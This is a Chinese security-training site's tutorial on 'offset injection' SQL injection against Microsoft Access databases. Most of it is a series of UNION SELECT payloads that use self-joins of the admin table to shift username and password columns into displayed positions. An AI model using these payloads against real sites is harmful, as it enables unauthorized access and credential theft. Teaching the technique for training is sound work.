天创培训:您身边的信息安全培训专家!
栏目列表
开班计划
2020年4月CISP直播班
主讲老师   张老师、王老师等
开课时间   4月
培训方式   网络课程
授课天次   培训5天+考试半天
上课时间   4月
课程介绍 在线报名
技术中心您当前位置:首页 > 资源专区 > 技术中心

access偏移注入详解

作者:天创培训  来源:px.tcnet.com.cn  更新时间:2015-03-05  关键词:access,注入

access偏移注入详解
我打个比方
如果他的是28个字段
加入admin表5个字段
那么union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
* 就是5个字段?
这样来爆admin里边的所有表明
但注意 * 确是代表了所有admin表的字段
如果正好比如username在可显示位置
他就会显示在页面上
我需要爆他的字段呢•
技术都有局限性 这个方法需要知道表名和一个字段名id
不需要其他字段
比如什么password username
你要问他如果不在可显示位置么

通常不知道的是表名 表段名 可以通过查找后台登陆找到
这个就要看自己的了
大家看看这个语句
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
这个(admin as a inner join admin as b on a.id=b.id)是admin表自连接
这样from 后面的表就会成为字段数加倍的表
前面18+2*5 = 28 个字段 就是合法的
*代表的字段就会拓宽 加大username password在可显示位置的几率
如果不在怎么办? 那么union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
大家是否觉得很疑惑 18+ 2 + 5*2 = 30 > 28 但这条语句是合法的
这个地方很关键
他为什么会是合法的语句
这个地方是技术核心 必须理解
前边是 30 后边是 28 怎么可能相等

因为a.id 和 b.id在*里是有的
那么计算机自动去掉重复的 保持集合里元素的唯一性 
这样一来虽然查询效果一样
但是*里的字段排列顺序却被打乱了!
先后两次打乱 很有可能让username password偏移到可显示的位置
如果还没成功 怎么办?
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on a.id=d.id)




推荐阅读

网站首页 |  关于天创 |  课程体系 |  最新动态 |  联系我们 |  网站地图 |  二维码
版权所有:江苏天创科技有限公司 苏ICP备16028135号-2
苏州总部地址:江苏省苏州市十梓街327号 电话:0512-65129087 传真:0512-65157410 邮编:215000
南京分公司地址:南京珠江路88号新世界中心A座 电话:025-84533276 传真:025-84533286 邮编:210000